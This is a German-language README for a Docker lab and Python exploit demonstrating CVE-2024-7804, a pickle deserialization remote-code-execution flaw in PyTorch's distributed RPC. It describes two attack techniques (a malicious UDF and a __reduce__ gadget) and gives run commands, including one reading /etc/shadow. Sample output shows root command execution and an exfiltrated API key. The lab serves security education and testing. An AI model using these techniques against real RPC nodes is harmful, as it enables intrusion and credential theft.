
# Eigenständiges Docker-Labor und Python-Exploit für CVE-2024-7804 Eigenständiges Docker-Labor und Python-Exploit, das CVE-2024-7804 demonstriert, eine kritische RCE-Schwachstelle in PyTorchs verteiltem RPC über unsichere Pickle-Deserialisierung (CWE-502). Enthält zwei Exploitation-Techniken und Hinweise zur Behebung.
In sich geschlossenes Labor + Exploit für CVE-2024-7804: Remote-Codeausführung im
verteilten RPC-Framework von PyTorch (torch.distributed.rpc) durch unsichere
Deserialisierung nicht vertrauenswürdiger Daten (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Hinweis: Dieses Advisory wurde später von den Maintainern und Red Hat als „bekannte Funktionalität“ zurückgezogen/abgelehnt — PyTorch RPC ist von Natur aus ein Trusted-Peer-System. Das Labor ist dennoch eine präzise, praxisnahe Demonstration des gemeldeten Problems.
Jeder RPC-Aufruf übermittelt ein PythonUDF-Namedtuple (, , ). Auf dem
empfangenden Knoten wird es mit einem rekonstruiert, ohne
Allowlist und ohne Integritätsprüfung:
funcargskwargspickle.Unpickler# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- Angreifer-kontrolliertes Pickle
...
Jeder Peer, der der RPC-„Welt“ beitreten kann, kann den Knoten daher zur Ausführung
beliebigen Codes bringen — entweder über ein Pickle-__reduce__-Gadget, das während load() ausgelöst wird,
oder einfach durch Benennung eines beliebigen importierbaren Callables als UDF, da nichts
einschränkt, was der Knoten ausführen wird.
CVE-2024-7804/
├── docker-compose.yml # Opfer + Angreifer in einem Bridge-Netzwerk
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — das verwundbare Image
│ └── server.py # Opfer: ein vertrauender RPC-Worker, der auf Peers wartet
└── exploit/
└── exploit.py # Angreifer: tritt der Welt bei und führt RCE auf dem Opfer aus
Docker mit dem Compose-Plugin. Nur CPU (keine GPU), funktioniert auf amd64 und arm64.
# 1. Verwundbaren Opferknoten starten (Rang 0, wartet auf einen Peer)
docker compose up --build -d victim
# 2. Exploit auslösen (Standard: Befehl auf dem Opfer ausführen und dessen stdout zurückerhalten)
docker compose run --rm attacker
# 3. Alles herunterfahren
docker compose down
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====
Der Angreifer führte Befehle als root auf dem Opfer aus und exfiltrierte eine Datei, die niemals hätte offengelegt werden dürfen.
| Befehl | Was er zeigt |
|---|---|
docker compose run --rm attacker | Sendet subprocess.check_output als UDF. Das Opfer führt den Befehl aus und gibt dessen stdout zurück — RCE und Exfiltration in einem Aufruf. |
docker compose run --rm attacker python exploit.py --reduce | Sendet ein Objekt, dessen __reduce__ os.system ausführt, während das Opfer das Payload unpickelt — RCE zum Zeitpunkt der Deserialisierung (das Wesen von CWE-502), bevor die UDF überhaupt aufgerufen wird. |
Benutzerdefinierter Befehl:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Bei --reduce wird der Befehl auf dem Opfer ausgeführt, also dort beobachten:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # die Ausgabe erscheint im Log des OPFERS
Das Opfer-Log für --reduce endet mit einem Traceback bei
torch/distributed/rpc/internal.py, Zeile ~207 (python_udf.func(...)) — ein Beweis, dass das
Payload bereits vom unsicheren Unpickler rekonstruiert und ausgeführt wurde.
29500) niemals für nicht vertrauenswürdige Netzwerke freigeben.Nur für Bildungszwecke und autorisierte Sicherheitstests. Das Labor ist absichtlich verwundbar — nicht bereitstellen und den Exploit nur gegen dieses Labor ausführen.